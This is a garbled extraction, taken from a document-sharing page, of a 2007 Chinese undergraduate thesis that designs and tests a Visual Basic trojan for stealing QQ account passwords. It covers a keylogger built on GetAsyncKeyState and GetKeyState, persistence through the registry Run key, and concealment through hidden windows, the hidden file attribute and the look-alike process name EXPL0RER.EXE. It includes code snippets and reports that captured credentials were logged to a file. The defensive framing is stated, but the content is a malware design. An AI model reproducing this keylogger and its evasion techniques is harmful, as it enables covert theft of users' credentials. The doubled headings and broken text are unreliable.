




已阅读5页,还剩25页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
分类号 分类号 TP309 5TP309 5 U U D D C C D10621 408 2007 D10621 408 2007 6126 06126 0 密密 级 公级 公 开开 编编 号 号 20032140032003214003 成成 都都 信信 息息 工工 程程 学学 院院 学学 位位 论论 文文 WindowsWindows 下盗取帐号密码的木马程序的设计下盗取帐号密码的木马程序的设计 论论文作者姓名 文作者姓名 熊熊连连科科 申申请请学位学位专业专业 计计算机科学与技算机科学与技术术 申申请请学位学位类别类别 工工 学学 学学 士士 指指导导教教师师姓姓名名 职职称称 陈陈俊 俊 讲师讲师 论论文提交日期 文提交日期 2007 年年 06 月月 10 日日 WindowsWindows 下盗取帐号密码的木马程序的设计下盗取帐号密码的木马程序的设计 摘摘 要要 随着互联网技术的迅猛发展 网络给人们带来了很多便利 日益发达的网 络产品越来越多 伴随这样的发展 随之而来的是越来越多的帐号与密码 而 这些帐号与密码背后伴随的是很多的经济价值 在这种状况下 很多人想尽一 切办法的去找取配套的密码与帐号 所以为了使帐号与密码更加安全 有必要去 研究盗号木马的工作原理 文章从木马的发展历史出发 介绍了木马的特点和工作原理 详细分析并 设计实现了一个基于 windows 操作系统的盗号木马软件 在具体设计实现中 首先对本软件具有的功能和特点进行了分析 将系统划分为自动隐藏 自动运 行 记录键盘三大主要模块 并选择了合适的开发环境 其次根据软件工程的 要求做了逻辑设计 最后是编码实现和测试 并且对测试结果进行了分析 关键词关键词 自动隐藏 自动运行 记录键盘 The Design of Trojan Program for Account Number Purloining in the Windows OS Abstract With the development of the Internet much facility has been brought to us by more and more network products More and more account numbers and passwords have been appearing with the development They could bring a great number of economic values In this case many people begin to try their best to find the suited account numbers and password So in order to make them safe it s necessary to learn the theory of them This thesis starts with the Trojan development history introducing its features and working principle giving a detailed analysis and designing of stealing software based on windows operation During the design it first analyzes the software s functions and features dividing the system into three modules automatic concealment automatic running and record the keyboard It chooses the proper development environment and makes a logic design based on the requirements of the software project finally it conducts the coding and tests and then analyzes the result of test Key words automatic concealment automatic running keyboard recording 目目 录录 论文总页数 25 页 1 引言 1 1 1 课题背景 1 1 2 木马发展史 1 1 2 1 第一代木马 伪装型木马 1 1 2 2 第二代木马 AIDS 型木马 2 1 2 3 第三代木马 网络传播性木马 2 1 3 本课题研究的意义 2 2 需求分析 3 2 1 木马的分类 3 2 2 木马的特点 4 2 2 1 隐秘性 4 2 2 2 自动运行性 4 2 3 功能需求分析 4 2 3 1 自动隐藏 4 2 3 2 自动运行 5 2 3 3 键盘记录 5 2 4 性能需求 6 2 5 程序开发环境介绍 6 3 木马程序的设计与实现 7 3 1 设计 7 3 1 1 设计逻辑图 7 3 1 2 具体功能划分 7 3 2 实现 8 3 2 1 键盘记录模块的实现 8 3 2 2 自动运行模块的实现 12 3 2 3 自动隐藏模块的实现 14 4 程序测试 15 4 1 测试环境 15 4 2 测试截图及其说明 15 4 3 测试结果 17 结 论 18 参考文献 19 附 录 20 致 谢 24 声 明 25 第 1 页 共 25 页 1 1 引言引言 木马是一个计算机的词汇 但是他却是来源于古希腊 古希腊神话 木马 屠城记 记录有这样的故事 说的是有一个美丽而妖艳的女孩嫁给了希腊的王 子 但是最终却被 Trojan City 特洛伊城 的王子吸引并私奔回到了特洛伊城 希腊人于是把发兵把该城围住 但是围了十年都没有攻下 后来希腊人想出了 一条计策 他们把士兵藏在一匹匹木头做的马 这就是木马的来历 里面 并 且引诱特洛伊人把这些木马当成战利品夺回城中 到了半夜 这些木马的士兵 跳出来 和城外的希腊士兵里应外合 最终把特洛伊城攻下了 在计算机领域里有这样一类代码 他们短小精悍 往往只有 20k 到 30k 常常伪装或者隐藏在合法程序中 这些代码或者执行特定的恶意行为 或者为 非授权访问系统的特权功能提供后门 他们的最大的特征是隐秘性 偷偷混入 对方的主机里面 但是却没有被对方发现 系统表现也正常 这些代码的行为 和 木马屠城记 中原始的木马的特征相同 所以在计算机领域里面 就用木 马来称呼这样的一类代码 1 11 1 课题背景课题背景 当今高速发展的互联网 在信息量和资源极大丰富的同时 也充斥着大量 的各种各样别有用心的 黑客 们安置的陷阱 其中也包括木马 想要在享受 互联网带来的便利的同时 躲开这些木马陷阱 必须对木马有所认识和了解 自从韩国的网络游戏传奇于 2002 年 10 月进入我国后 在国内日渐风靡 游戏玩家逐日增多 与此同时也出现了一些被称为传奇木马的恶意软件 比如 传奇异度灵盗 传奇黑眼等等 这类软件虽然工作方式有所不同 但都被设计 的具有窃取游戏帐号和密码的功能 正式这样的先例使得帐号与密码的价值开 始一步一步的体现出来 而现在这些价值已经不仅仅是一些像传奇上体现的虚 拟价值 更进一步的体现是在实际的经济领域 而该设计正是以盗取 QQ 帐号与 密码为目的来了解这类木马的工作特性 从而达到帐号与密码的安全 1 21 2 木马发展史木马发展史 1 2 11 2 1 第一代木马 伪装型木马第一代木马 伪装型木马 这种病毒通过伪装成一个合法性程序诱骗用户上当 世界上第一个计算机 木马是出现在 1986 年的 PC Write 木马 它伪装成共享软件 PC Write 的 2 27 版本 事实上 编写 PC Quicksoft 公司从未发行过 2 72 版本 一旦用户信以 为真运行该木马程序 那么他的下场就是硬盘被格式化 此时的第一代木马还 不具备传染特性 第 2 页 共 25 页 1 2 21 2 2 第二代木马 第二代木马 AIDSAIDS 型木马型木马 继 PC Write 之后 1989 年出现了 AIDS 木马 由于当时很少有人使用电 子邮件 所以 AIDS 的作者就利用现实生活中的邮件进行散播 给其他人寄去一 封含有木马程序软盘的邮件 之所以叫这个名称是因为软盘中包含有 AIDS 和 HIV 疾病的药品 价格 预防措施等相关信息 软盘中的木马程序在运行后 虽然不会破坏数据 但是他将硬盘加密锁死 然后提示受感染用户花钱消灾 可以说第二代木马已具备了传播特征 尽管通过传统的邮递方式 1 2 31 2 3 第三代木马 网络传播性木马第三代木马 网络传播性木马 随着 Internet 的普及 这一代木马兼备伪装和传播两种特征并结合 TCP IP 网络技术四处泛滥 同时他还有新的特征 1 添加了 后门 功能 所谓后门就是一种可以为计算机系统秘密开启访问入口的程序 一旦被安 装 这些程序就能够使攻击者绕过安全程序进入系统 该功能的目的就是收集 系统中的重要信息 例如 财务报告 口令及信用卡号 此外 攻击者还可以 利用后门控制系统 使之成为攻击其它计算机的帮凶 由于后门是隐藏在系统 背后运行的 因此很难被检测到 它们不像病毒和蠕虫那样通过消耗内存而引 起注意 2 添加了击键记录功能 从名称上就可以知道 该功能主要是记录用户所有的击键内容然后形成击 键记录的日志文件发送给恶意用户 恶意用户可以从中找到用户名 口令以及 信用卡号等用户信息 这一代木马比较有名的有国外的 BO2000 Back Orifice 和国内的冰河木马 它们有如下共同特点 基于网络的客户端 服务 器应用程序 具有搜集信息 执行系统命令 重新设置机器 重新定向等功能 当木马程序攻击得手后 计算机就完全成为黑客控制的傀儡主机 黑客成了超 级用户 用户的所有计算机操作不但没有任何秘密而言 而且黑客可以远程控 制傀儡主机对别的主机发动攻击 这时候被俘获的傀儡主机成了黑客进行进一 步攻击的挡箭牌和跳板 1 31 3 本课题研究的意义本课题研究的意义 知己知彼 百战不殆 作为一个网络安全工作者 如果想找出防御木马 盗取帐号与密码的有效途径 就必须认真地研究木马攻击的技术 在研究木马 的攻防过程中 如果能够理清木马所使用手段的发展脉络 就有可能进一步找 出木马发展的趋势 并提早思考应对策略 这样的话 我们至少可以为我们所 拥有的帐号与密码增加几分安全感 而这个木马程序的设计正是属于第三代木 第 3 页 共 25 页 马 当然在整个第三代木马的范围内 它只是一个小小的缩影 不过作为现在 主流的木马类型 它所拥有的记录键盘的功能正是我们所需要的 因此希望通 过这次的设计 去了解整个帐号被盗的过程 从而找出应对的方法 使我们的 帐号与密码更加的安全 2 2 需求分析需求分析 2 12 1 木马的分类木马的分类 根据木马对计算机采取的动作方式 木马可以分为以下几类 1 远程控制型 这是当今最广泛的特洛伊木马 这种木马起到了远程监控的功能 只要被 控主机联到网络 控制者就可以任意控制目标主机 2 密码发送型 这种类型的木马专门找到所有的隐藏的密码 并且在受害者不知道的情况 之下把他发送给控制者 它可以采取多种方式来发送 最基本的方法是通过电 子邮件来发送 3 键盘记录型 这种木马比较简单 它只做一种事情 就是记录受害者的键盘动作 4 毁坏型 大部分木马只是窃取信息 不做破害性的事件 但是毁害型木马却以毁害 并且删除文件为己任 5 FTP 型 这种木马打开21号端口 让每个FTP客户端不要密码就可以连接到受控主机 随意窃取受害主机的文件 6 DoS 攻击型 通过植入木马 可以把受控主机当作一个个肉鸡 控制者可以操纵大量的 肉鸡来同时对某个主机发起DoS攻击 7 代理型 骇客在进行入侵的时候 为了隐藏自己的信息 他可以找一个代理 通过 控制这个代理来达到入侵的木的 就像操纵傀儡一般 8 反弹端口型 对于有放火墙的受害者 木马可以通过反连端口的方式来达到操纵受害主 机的目的 也就是说 木马自己穿越防火墙主动去连接控制者 因为一般木马 会采用常用的端口 比如80端口 而且现在的防火墙往往采用严进宽出的方案 所以这种控制很有用 第 4 页 共 25 页 2 22 2 木马的特点木马的特点 2 2 12 2 1 隐秘性隐秘性 也就是说 一旦一个木马通过个种手段被引入了主机 这个过程称为 植 入 那么它首先要找到一个地方来隐藏起来 等待时机发作 在被植入的主 机看起来就好像什么事情都没有 木马能隐藏起来的原因有如下几个 1 木马往往比较小 才几十 k 左右 这样即使执行起来也占不了系统太多 的资源 2 木马往往会隐身在系统文件夹里面 而且或者直接代替了系统文件 或 者采用和系统文件相似的文件名 这样即使发现有木马入侵的痕迹 但是你也 不能辨认 是哪个文件 3 木马执行时往往不会在系统中显示出来 2 2 22 2 2 自动运行性自动运行性 一个好的木马绝对不可能奢望对方来点击运行 也不能只执行一次 然后 随着系统的关机而不再运行 这样的只发作一次的木马是没有什么作用的 木 马往往具有自动运行性 也就是说要么随机子的启动运行而发作 要么等某个 条件来触发 而这个触发条件应该是很常用的 2 32 3 功能需求分析功能需求分析 这个设计属于第三代的键盘记录木马 这种特洛伊木马是非常简单的 它 们只做一件事情 就是记录受害者的键盘敲击 更高级的可以在 LOG 中或者在 COOKS 中直接找密码 这种特洛伊木马随着 Windows 的启动而启动 它们记录 你使用帐号和密码敲击键盘时的按键情况 也就是说你按过什么按键 种植木 马的人都知道 从这些按键中他很容易就会得到你的密码信息 甚至是你的信 用卡账号 根据这些这个设计应该具有以下功能 自动隐藏 自动运行和最重 要的键盘记录 2 3 12 3 1 自动隐藏自动隐藏 在任务栏里面实现隐藏是最基本也是最简单的隐藏方式 如果在 windows 的任务栏里出现一个莫名其妙的图标 那么程序会无条件的失去意义 所以要 实现自动隐藏 不管是加载时的隐藏还是运行时的隐藏 对一个木马程序来说 是非常重要的 要实现在任务栏中隐藏在编程时是很容易实现的 我以我的设 计语言 VB 为例 在 VB 中 只要把 from 的 Visible 属性设置为 False ShowInTaskBar 设为 False 程序就不会出现在任务栏里了 另外在 Win9x 时代 简单地注册为系统进程就可以从任务栏的进程中消失 第 5 页 共 25 页 可是在 Windows 高版本盛行的今天 这种方法遭到了惨败 注册为系统进程不 仅仅能在任务管理器中看到 而且可以直接在 Services 中直接控制停止 不过就算这样 我们仍然有方法去消失掉进程 比如 将进程名改为和系 统进程名相似 让别人一时间看不出来 另外还有方法就是用 HOOK 函数实现将 进程注入到其他进程当中 比如 EXPLORER EXE 2 3 22 3 2 自动运行自动运行 一个好的木马绝对不可能奢望对方来点击运行 也不能只执行一次 然后 随着系统的关机而不再运行 这样的只发作一次的木马是没有什么作用的 木 马往往具有自动运行性 也就是说要么随机子的启动运行而发作 要么等某个 条件来触发 而这个触发条件应该是很常用的 而对于此设计而言 不论是那 种自动运行方式都是可以的 他的关键不在这个上面 他的关键仍然在键盘记 录上 那是一个庞大的工程 而实现自动运行这一功能却有许多的方法 你完 全可以根据自己的需要去找寻最适合你自己的方式 以下是实现自动运行的方式 具体怎么实现的这里就不做介绍了 1 在 Win ini 中启动 2 在 System ini 中启动 3 利用注册表加载运行 4 在 Autoexec bat 和 Config sys 中加载运行 5 在 Winstart bat 中启动 6 启动组 7 INI 8 修改文件关联 9 捆绑文件 10 反弹端口型木马的主动连接方式 另外 经过熊猫烧香的启发现在很多木马也可以利用 AUTORUN INF 来实现 自动运行 2 3 32 3 3 键盘记录键盘记录 这个功能是该设计的最重要的部分 他既是核心也是基础 因为我们所需 要的所有信息都是由这个部分完成的 实现键盘记录这个功能时 大多数人想 到的应该是使用钩子技术 HOOK 用户的击键行为 其实除此之外 还有一 API 函数 同样可以轻松进行键盘记录 那就是 GetAsyncKeyState 这个函数根据 虚拟键表判断按键类型 返回值为一个 16 位的二进制数 如果被按下则最高位 第 6 页 共 25 页 为 1 即返回 32767 但是如果需要对键盘进行全局性的记录 则需要与另一 个 API 函数 GetKeyState 配合使用才能实现 原因在于 GetAsyncKeyState 函数 只在按键的瞬间执行一次 如果按下的键是开关键 如 caps lock 那么过 了那一瞬间 GetAsyncKeyState 函数则不起任何作用 而这个时候就需要用 GetKeyState 来判断该开关键是否按下 那这两个函数组合起来的实际作用是什么呢 为什么又要将这两个函数组 合起来用 其实原因很简单 因为每个键的虚拟码是唯一 在这样一种情况下 不管你是在大写情况还是小写情况下 你按下的键记录下来的信息都是一样的 这个时候就需要一次判断 你需要判断有两个键是否按下 一个是 caps lock 是否按下 一个是 shift 是否按下 因为 shift 不属于开关键 那它自然就不 需要用 GetKeyState 函数 但是 caps lock 是一个开关键它在这种情况下就需 要用 GetKeyState 函数 所以在这种特例下我们就需要用 GetKeyState 函数了 另外 insert 这个键也是一种特例它也需要用 GetKeyState 函数来判断 与 HOOK 函数相比使用这两个函数进行键盘记录虽然在程序上显的比较冗长 但是它却更加的简单 而且也不容易出现错误 而 HOOK 函数虽然使用起来 在 代码上看起来可能比较简单 但是它却很容易暴露在杀毒软件的查杀之下 另外 还有一种键盘记录方式 那就是使用一个功能强大的 SendMessage 函数 在其它 API 函数的配合下 直接抓取玩家输入的游戏帐号和密码 但是 这个方法实现难度很大 在 Win9X 下运行虽然没问题 但是现在大家使用的操 作系统都是 WinNT 2000 以上的 在这些系统当中禁止不同的进程间相互访问数 据 如果要用 SendMessage 函数实现键盘记录则需要用到其它 API 创建一个数 据共享或者编写一个 DLL 文件实现数据共享才行 2 42 4 性能需求性能需求 1 整个设计都应该尽量遵守所有木马程序的共通点 简约而不简单 也 即用最少的代码实现最大的功能 这样做的目的在于 最后所生成的可执行文 件小便于隐藏 而且这样的文件执行起来也不占用太的系统资源 使使用计算 机的人不容易发现自己已经中招了 2 该设计虽然为木马程序 但是也必须设计一个友好界面去简化一些如修 改代码之类的麻烦事情 3 该设计本身运行对计算机硬件平台应无要求 对操作系统平台应满足基 本不受 WIN 系列的版本影响而失去作用 2 52 5 程序开发环境介绍程序开发环境介绍 该设计使用语言为 Microsoft Visual Basic6 0 所使用的操作系统为 WinXP SP2 另外硬件环境为 CPU 为 AMD xp2000 内存 DDR333 256M 第 7 页 共 25 页 3 3 木马程序的设计与实现木马程序的设计与实现 3 13 1 设计设计 3 1 13 1 1 设计逻辑图设计逻辑图 用户开机用户登陆登陆完成 自动运行键盘记录保存记录 整个流程均保持隐藏 状态 图 1 设计逻辑图 如图 1 所示 设计思路为 当用户开启计算机的时候程序随着计算机的启 动而运行 当用户进行登陆帐号操作的时候 程序开始进行键盘操作的记录 并在用户登陆完成后 保存记录 而在程序的整个运行期间 程序都应该是处 于隐藏状态 该设计以键盘记录功能为中心 用自动运行功能与自动隐藏功能去完善整 个木马程序的设计 以此保证该木马程序的生命力和使命完成情况 3 1 23 1 2 具体功能划分具体功能划分 根据设计功能需求分析 该设计主要划分为三个模块 最终的设计为这个 三个模块的有机组合完成 自动隐藏模块 该模块是保证整个木马程序能顺利运行的关键所在 就想前面介绍的一样 如突然跳一个不明的程序出来运行 那么程序将无条件的失去意义 所以 在 木马程序运行期间 都应该保证 程序是隐藏起来的 这样我们才有机会去做 我们想做的事情 自动运行模块 一个好的木马绝对不可能奢望对方来点击运行 也不能只执行一次 然后 随着系统的关机而不再运行 这样的只发作一次的木马是没有什么作用的 木 马往往具有自动运行性 也就是说要么随机子的启动运行而发作 要么等某个 第 8 页 共 25 页 条件来触发 而这个触发条件应该是很常用的 不管怎么做 我们最终所必须 要实现的就是 不能使木马程序只运行一次 只运行一次就失去了我们的目的 进行键盘记录盗取帐号与密码 所以 考虑好这个模块是很关键的 它是我们 有没有必要进行其他模块编写的理由 键盘记录模块 这个模块是整个程序的核心与基础所在 我们所要获取的所有信息都是由 这个模块完成 所以在进行这个模块的设计时我们应考虑的更加严谨 应该尽 量减少 BUG 的存在 在设计这个模块时 HOOK 函数是一个很不错的想法 其实除此之外 还 有一 API 函数 同样可以轻松进行键盘记录 那就是 GetAsyncKeyState 这个 函数根据虚拟键表判断按键类型 返回值为一个 16 位的二进制数 如果被按下 则最高位为 1 即返回 32767 但是如果需要对键盘进行全局性的记录 则需 要与另一个 API 函数 GetKeyState 配合使用才能实现 原因在于 GetAsyncKeyState 函数只在按键的瞬间执行一次 如果按下的键是开关键 如 caps lock 那么过了那一瞬间 GetAsyncKeyState 函数则不起任何作用 而这 个时候就需要用 GetKeyState 来判断该开关键是否按下 另外 使用一个功能强大的 SendMessage 函数 在其它 API 函数的配合下 直接抓取玩家输入的游戏帐号和密码 但是 HOOK 函数的隐藏性不是很好 他很容易就被杀毒软件发现 特别是 专杀工具 而 SendMessage 函数这个方法实现难度很大 在 Win9X 下运行虽然 没问题 但是现在大家使用的操作系统都是 WinNT 2000 以上的 在这些系统当 中禁止不同的进程间相互访问数据 如果要用 SendMessage 函数实现键盘记录 则需要用到其它 API 创建一个数据共享或者编写一个 DLL 文件实现数据共享才 行 这样的话无形中给设计带了很多逻辑上的问题 最后 GetAsyncKeyState 函数虽然代码上会带来一点冗长 但是它不存在隐藏性 与逻辑上的问题 3 23 2 实现实现 3 2 13 2 1 键盘记录模块的实现键盘记录模块的实现 因为键盘记录模块既是核心模块也是基础模块 其它所有模块都是围绕他 为了完善它而产生的 所以在设计当中最先应该实现这个模块 设计流程图如 图 2 具体代码见附录 第 9 页 共 25 页 记录键盘 操作 是否结束记 录 保存到指 定地址 开始 是否存在窗 体 YES NO YES NO 结束 图 2 键盘记录设计流程图 根据设计流程图 首先要完成判断是否存在窗体 在这点上设计使用的是 API 函数 FindWindow 该函数是一个抓取窗体名称的函数 如果窗体存在则函 数能执行成功 返回指定窗口类名或窗口名的窗口的句柄 如果执行失败的话 则返回值为空 就这点而言 FindWindow 函数能够提供一个很准确的判断 它能够根据程序自身的需要 比如是记录 QQ 的密码与帐号还是记录 yahoo 邮箱 的密码与帐号而进行一个精确的设定 但是如果这个是以判断进程做为一个起 点的话 则会出现很多的问题 首先在任务管理器中 可能会出现很多同名的 进程 这样的话虽然也能达到记录的目的 但是就工作量而言要大的多 而且 在多个相同名字的进程同时存在时 程序很有可能会因为一些逻辑上的问题导 致记录的数据杂乱无章甚至更本不能记录 再则 使用进程进行判断 不能达 到精确的目的 比如 如果要记录的是 yahoo 邮箱的帐号与密码 那么在进程 第 10 页 共 25 页 中肯定会出现很多个 iexplore exe 这个进程 但是这些进程到底是不是属于 yahoo 邮箱这个网页的进程我门确不得而知 如果是这样的话 我们记录的数 据就更本毫无用处 这样就失去了该设计的目的了 另外 为了使记录目标这块不是那么单一 设计中加入了这么一段代码 On Error GoTo chul 做一个出错判断 在后面代码执行报错后跳到 chul 处执行 该出错判 断 不是做一个未知性的出错判断 因为在后面的读文件的代码中 如 果系统中存在的 EXPLORER txt 为空 或者根本不存在这个文件 那么在 执行后面读取文件中数据操作的时候 系统将报错 而整段代码需要的 就是这个报错 有了这个报错 程序就有了一个判断的标准 这样的话 在不需要改变目标的时候 就可以不产生一个 EXPLORER txt 以此来减 少程序产生的冗余文件 提高程序的安全系数 Dim Sname As String Open C WINDOWS Prefetch EXPLORER txt For Input As 3 以只读的方式打开文件 Input 3 Sname Close 3 TxtName Text Sname TxtName 文本框的作用为显示记录的目标是什么 chul Err Clear 清除页面类所有错误 Exit Sub 退出事件 程序在运行的时候可以通过这段代码来判断是否要改变记录的目标 当然 要能够确实的改变目标 必须要结合一个写操作的代码 代码如下 Open C WINDOWS Prefetch EXPLORER txt For Output As 3 这里是该段代码最重要的地方 在这里 往文件中写入数据不能使用追 加写入的方式 只能使用写入方式即 Output 方式 因为在程序中还涉及 到读的部分 如果写的次数多了 那么很难判断出应该读取那一条数据 这样的话 无形中给程序带来了更大的工作量 使程序在运行的时候会 更大的占用系统资源 从而使程序的安全系数降低 Write 3 TxtName Text 第 11 页 共 25 页 Close 3 在完成窗体判断这个部分的功能后 程序也就可以锁定目标 并对目标进 行更深一层的计划 记录其输入帐号与密码的键盘操作 在这里设计先使用了 一个 API 函数 GetAsyncKeyState 进行键盘操作的记录 但是使用这个函数记 录的只是键盘的虚拟键码 而每个键的虚拟码都是唯一的并且不受 CAPS LOCK 这类键的影响 所以为了能够准确的记录下每次操作必须使用一定的判断语句 经过这样的一个设计 程序能够记录下 SHIFT 键与其他键组合后产生的按键情 况 而不能记录 CAPS LOCK 这类开关键与其他按键组合的情况 在这个问题上 设计在判断中加入了一个与 GetAsyncKeyState 函数相类似的 API 函数 GetKeyState 该 API 函数与 GetAsyncKeyState 函数从本质上来说都是以虚拟 键码为中心 但是两者的区别在于 前者处理的是最近一次虚拟键的状态 这 点就像判断开关是打开还是关闭 而后者是调用时指定虚拟键的状态 这样就 像是判断开关是往开的方向按还是往关的方向按 通过这样两个函数的互补不 足 则能产生 CAPS LOCK 键与 SHIFT 键四种组合情况 也即 CAPS LOCK 键按 下 SHIFT 键没有按下 CAPS LOCK 键没有按下 SHIFT 键按下 CAPS LOCK 键没有 按下 SHIFT 键没有按下 CAPS LOCK 键按下 SHIFT 键按下这四中情况 其中前 两种情况是产生大写字母的情况 而后两种情况是产生小写字母的情况 如下 所示 If CapsLock 0 And Shift 0 Or CapsLock 0 And Shift 0 Then A End If If CapsLock 0 And Shift 0 Or CapsLock 0 And Shift 0 Then a End if 通过上面两个功能的完成 设计已经能够记录指定目标的键盘操作 但是 程序不能一直记录 它应该有一个结束点 在这里设计将用户是否按下回车键 的操作作为是否结束的一个信号 如果用户按下回车键 则结束记录 并且将 记录下的数据保存至指定地址 如果没有发现按下回车键则 继续记录 虽然 这个方法在逻辑上讲是不严谨的 但是如果根据每个人的按键习惯而言 它的 记录是刚刚好 因为 人们在输入帐号与密码后 总是习惯性的敲回车来进行 确认 而不是使用鼠标来电击确定哪个按钮 这样的话 程序记录下的数据就 不会有太多的无用数据 而且能够很快的结束记录这个过程更好的体现出安全 第 12 页 共 25 页 性 就这几点而言 以是否按回车键作为结束信号比按时间结束更具有优越性 3 2 23 2 2 自动运行模块的实现自动运行模块的实现 该模块设计流程图如图3 运行程序 执行其它功能 写入开机自动项 是否已写入开 机自动运行项 YES NO 图3 自动运行流程图 注册表是系统的核心地方 管理着系统的正常运行 一旦出了问题 那么 轻则导致系统运行出问题 重则导致系统崩溃 所以一般的用户不敢碰它 同 时它又控制系统的启动 所以为了达到自动运行的目的 木马往往会修改系统 的注册表 以达到自启动的目的 木马往往修改的地方有以下几个地方 1 HKEY LOCAL MACHINE Software Microsoft Windows CurrentVersion下 的五个主键 Run RunOnce RunOnceEx RunServices 和RunServicesOnce 2 HKEY CURRENT USER Software Microsoft Windows CurrentVersion下 的Run主键 该模块的实现方法是将文件写入注册表的 HKEY CURRENT USER Software Microsoft Windows CurrentVersion下的Run主 键中 在写入开机自动运行项后 又出现一个新的问题 如果每次运行的时候都 写入一次 那么这必然大大降低程序在运行时的安全系数 因为在写入的时候 可能前面几次能够无声无息的写入 但是经过一段时间后 被用户发现是必然 的事情 所以在这里 设计加入了一个判断 它能够先判断是否已经在于注册 表开机自动运行项中 如果存在了就不用再写入 如果不存在就写入开机自动 第 13 页 共 25 页 运行项中 该判断的流程图如图4 具体代码见附录 能否成功获取指定 值名字的类型和数 据 判断类型是否一 样 样 判断数据是否一 样 一样 能否打开键成功 写入注册表 写入注册表 写入注册表 写入注册表 YES NO 开始 YES YES YES NO NO NO 结束 图4 注册表判断流程图 如图所示 程序先判断判断能否打开键成功 能则打开并且继续判断其中 的项 不能则写入开机启动项 这里使用的 API 函数为 RegCreateKey 如果经 过这次判断没有判断出是否在注册表中 那么程序再判断能否成功获取指定值 名字的类型和数据 能则继续进行判断 不能则写入开机启动项 这里使用的 API 函数是 RegQueryValueEx 如果仍然判断不出来 程序继续进行下一步 判 断类型是否一样 一样则继续进行判断 否则写入开机启动项 如果还不能 就只有继续判断判断数据是否一样 一样则返回名字 否则写入开机启动项 第 14 页 共 25 页 经过这样的设计 如果用户没发现开机自动运行项中的改变 那么程序只 会在第一次运行的时候进行注册表的写入 而且在用户发现后也将根据情况而 定 其实在这里 被发现后程序肯定会不用户消灭 不再具有任何作用 所以 进行这次判断 主要是为了降低被发现的概率 从而提高安全性 3 2 33 2 3 自动隐藏模块的实现自动隐藏模块的实现 在一些系统 为了特定目的 经常要求程序隐藏起来运行 例如 DCS 集 散控制系统 中的后台监控系统 木马控制程序 源码防拷贝等 以减少被发 现 截杀和反汇编的风险 这种功能模块要求程序在运行期间不仅不会在桌面 出现 也不允许被操作者从任务管理器列表中发现 程序隐形的原理 对于一个隐形程序而言 最基本的要求是 1 不在桌面出现界面 2 不在任务栏出现图标 3 程序名从任务管理器名单中消失 对于第一点 可以将 Form 的 Visible 属性设为 False 对于第二点要将图标从任务栏中屏蔽掉 可以把 Form 的 ShowInTaskBar 改 为 False 对于第三点用 App TaskVisible False 就可以实现 但是最重要的问题出现了 上面的都实现后 我们还要想办法逃脱 Administrator 的法眼 因为不管你是什么进程 Administrator 都是可以看见 的 而且可以直接给你关掉 这样的话后果可想而知 我们所做的一切努力全 都泡汤 当然这一点我也使用了一定的方法去解决 我用的方法是将进程的名 字改为与系统进程名字相似 当然在任务管理器中还有点值的我们利用的 那 就是在任务管理器中英文字母 O 和数字零即 0 凭肉眼是分辨不出来的 凭着这点我可以把我的程序名字直接写为 EXPL0RER EXE 而大多数情况使用者 都会当 EXPLORER EXE 来处理 对于隐藏而言 还有一点很重要的就是源文件的隐藏 源文件的隐藏包括 以下两个方面 1 文件名方面 文件名是程序在计算机里面表现的比较直接的东西 如果 用户很清楚的知道了你的文件 那不管你其它的做的有多好 你的程序也将直 接的失去所有的意义 程序在这个方面使用的方法也是英文字母 O 和数字零 即 0 没有区别的方法 经过这样的文件名编写 就算使用搜索文件的功能只 要没弄清到底是字母还是数字 那么源文件也处于安全的状态 用户是没有办 第 15 页 共 25 页 法找到源文件的 2 程序属性方面 在这个方面 没有其它多余的方法 就是将源文件属性 设置为 隐藏 通过这两个方面的组合 源文件能够伪装成为一个类似于系统文件的文件 当然如果用户查看了该源文件的文件属性 那么也将面临从计算机中消失的命 运 4 4 程序测试程序测试 4 14 1 测试环境测试环境 该设计测试环境为 CPU 为 AMD xp2000 内存 DDR333 256M 在 WIN2000 XP 下均通过测试 并且达到预期效果 4 24 2 测试截图及其说明测试截图及其说明 图 5 效果截图 1 程序运行后 如果在 Numlock 和 Capslock 和 Scrolllock 灯都亮的情况下 按下 F12 键则显示本窗体 其中 记录的信息 一栏显示的是记录的结果 程 序是先将记录的内容保存到这个文本框里面 当确定完毕后再保存到文件中 而 被记录窗体名 在不需要改变记录目标的时候是作为一个显示用 当需要 改变记录目标的时候则在里面输入被记录目标的窗体名称 然后与保存键配套 使用将改变后的窗体名称保存到指定文件中 隐藏键是作为一个辅助功能使用 主要是使在改变目标后可以直接使程序隐藏起来而不需要重启程序 关闭键作 第 16 页 共 25 页 用是使程序在特定的情况下可以直接关闭 图 6 效果截图 2 图 7 效果截图 3 通过图 6 与图 7 可以看出程序在运行期间已经达到自动隐藏的效果 其 中图 6 为进程伪装效果 图 7 为在应用程序列表中无法看见程序 第 17 页 共 25 页 4 34 3 测试结果测试结果 在上述操作系统正常启动后 用户打开 QQ 登陆框 即名为 QQ 用户登陆 的窗体 输入帐号与密码 在敲击回车后 程序将用户输入的帐号与密码记录 到 C WINDOWS Prefetch vb txt 在整个过程当中程序完全在隐藏的状态 进行 这里的 QQ 登陆框完全可以换成其它需要记录的窗体名称 记录结果保存 地址不变 由此可见程序能正常启动与运行 并达到预期效果 获得帐号与密 码 第 18 页 共 25 页 结结 论论 完成情况 作为一个第三代键盘记录型木马 它在键盘记录功能方面达到的最终效果 是能进行全局型的键盘记录 不论你的 CAPS LOCK 键和 shift 是怎么样的搭配 不论你的 NUMLOCK 开关键和 INSERT 开关键是处于什么样的状态 也不论你是否 使用了方向键与删除键 它都能准确无误的记录下你的键盘操作 在其它辅助功能上面 它也相继的完成了自动隐藏和自动运行的功能 并 且在整个程序的运行过程中它使键盘记录功能 自动隐藏功能 自动运行功能 充分的结合在一起 使这个设计具有了生命力和完成使命的能力 后期完善应该注意的问题 到现在虽然已经完成了相当的工作 但是这个只是一个初期的工作 该设 计还存在一定的问题 需要进一步去解决 具体表现在一下几个方面 该设计还不能注入到其他进程当中来实现隐藏进程 如果能够实现 这个功能 那必然使这个木马程序上升一个级别 同时 也对程序增加了相当 的安全性 虽然这个设计记录的数据不会很冗长 就算使用人工查找也是很容 易的事情 但是如果该程序设计有一个专门的读取帐号与密码的工具 那么必 然会使这个程序更加的完美 参考文献参考文献 1 张争平 审校 新编 windows API 参考大全 M 北京 电子工业出版社 2000 3 第 19 页 共 25 页 2 李光明 中文 Visual Basice 6 0 程序设计教程 M 北京 冶金工业出版社 2002 3 崔彦锋 许小荣 VB 网络与远程控制实例编程 M 北京 北京希望电子出版社 1999 4 张又生 米安然 计算机病毒与木马程序剖析 M 北京 北京科海电子出版社 2003 5 郝强 赵中华 Windows 98 2000 ME XP 注册表大全 M 北京 电子工业出版社 2002 4 